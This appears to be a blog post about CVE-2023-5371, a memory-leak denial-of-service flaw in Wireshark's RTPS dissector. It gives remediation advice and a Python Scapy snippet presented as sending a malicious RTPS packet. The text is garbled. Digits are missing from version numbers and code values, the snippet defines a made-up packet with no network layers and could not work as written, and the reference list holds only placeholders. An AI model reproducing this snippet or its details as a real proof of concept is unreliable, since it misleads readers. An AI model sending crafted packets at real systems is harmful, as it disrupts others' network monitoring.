A newly discovered vulnerability, CVE-2023-5371, in Wireshark, a popular open-source network protocol analyzer, has been making headlines. The affected versions of Wireshark include 4.. to 4..8 and 3.6. to 3.6.16. The vulnerability is related to the Real-Time Publish Subscribe (RTPS) dissector, a built-in feature in Wireshark responsible for analyzing RTPS data. A memory leak issue within this feature has the potential to crash the application, resulting in a denial-of-service (DoS) condition. The perpetrator can exploit this vulnerability by injecting malicious packets or using a specifically crafted capture file.

In this post, we will explore the details of this vulnerability, its impact, and potential remediation steps. Additionally, we will provide code snippets and relevant references for further investigation.

Exploit Details

The core issue stems from the RTPS dissector, which fails to release allocated memory when processing certain types of packets or capture files. An attacker can exploit this vulnerability by either injecting malicious RTPS packets or convincing an unsuspecting user to open a specially crafted capture file.

Upon processing these packets or files, the Wireshark application may consume an excessive amount of system resources, ultimately causing it to crash. This can disrupt normal network monitoring operations and lead to a DoS condition.

Code Snippet

The following Python code snippet demonstrates the creation of a malicious RTPS packet using Scapy, a Python library for crafting network packets:

from scapy.all import *
import sys

#Define malicious RTPS packet
class RTPS(Packet):
  name = "RTPS Packet"
  fields_desc = [
    IntField("main_header", ),
    IntField("sub_header", ),
    LongField("specific_data", xFFFFFFFFFFFFFFFF) # Crafted malicious data
  ]

#Create and send malicious RTPS packet
packet = RTPS(main_header = x5375, sub_header = x426964)
send(packet)

Original References

1. Official CVE entry in the National Vulnerability Database (NVD)

2. Wireshark official documentation on RTPS dissector

3. Wireshark Bug Tracker (Note: Replace 'XXXXX' with the relevant bug report number once it's public)

Mitigations and Remediation

Users of the impacted versions of Wireshark should take proper measures to mitigate the effects of this vulnerability:

1. Update Wireshark to the latest version: Download and install the most recent version of Wireshark from the official website, ensuring that the vulnerable versions are replaced.

2. Restrict access: Ensure that proper access control policies are implemented within your network to restrict unauthorized users from injecting malicious packets.

3. Be cautious of suspicious capture files: Verify the reliability and origin of capture files before opening them in Wireshark.

In conclusion, CVE-2023-5371 is a critical vulnerability in Wireshark that exposes users to potential Denial of Service attacks through RTPS dissector memory leaks. By staying informed, updating the software, and implementing proper security measures, you can safeguard your system against this threat.

Timeline

Published on: 10/04/2023 17:15:10 UTC
Last modified on: 10/10/2023 13:13:05 UTC